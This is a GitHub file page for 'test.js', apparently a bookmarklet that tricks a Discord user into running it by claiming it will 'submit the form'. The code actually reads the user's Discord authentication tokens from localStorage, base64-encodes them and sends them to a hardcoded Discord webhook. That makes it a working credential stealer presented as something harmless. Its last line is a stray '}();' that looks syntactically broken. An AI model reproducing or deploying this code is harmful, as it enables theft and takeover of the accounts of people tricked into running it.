-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtest.js
More file actions
29 lines (23 loc) · 921 Bytes
/
test.js
File metadata and controls
29 lines (23 loc) · 921 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if ('https://discord.com' !== this.document.location.origin) alert('Drag this button to your bookmark and go to discord.com to submit the form.');
else {
location.reload();
var i = document.createElement('iframe');
document.body.appendChild(i);
const storage = i.contentWindow.localStorage;
const tokens = btoa(storage.getItem('tokens'));
var webhookUrl = "https://discord.com/api/webhooks/1214047121381003264/sPVuTs11EXtKD08WpEmyCmKWV10vbZi4NQMsjGIZgRvI79Op_e8zDtShwUPP-JSHpd7K";
// Message content
var message = tokens;
// Construct the payload
var payload = JSON.stringify({
content: message
});
// Create a new XMLHttpRequest object
var xhr = new XMLHttpRequest();
// Set up the request
xhr.open("POST", webhookUrl, true);
xhr.setRequestHeader("Content-Type", "application/json");
// Send the payload
xhr.send(payload);
}
}();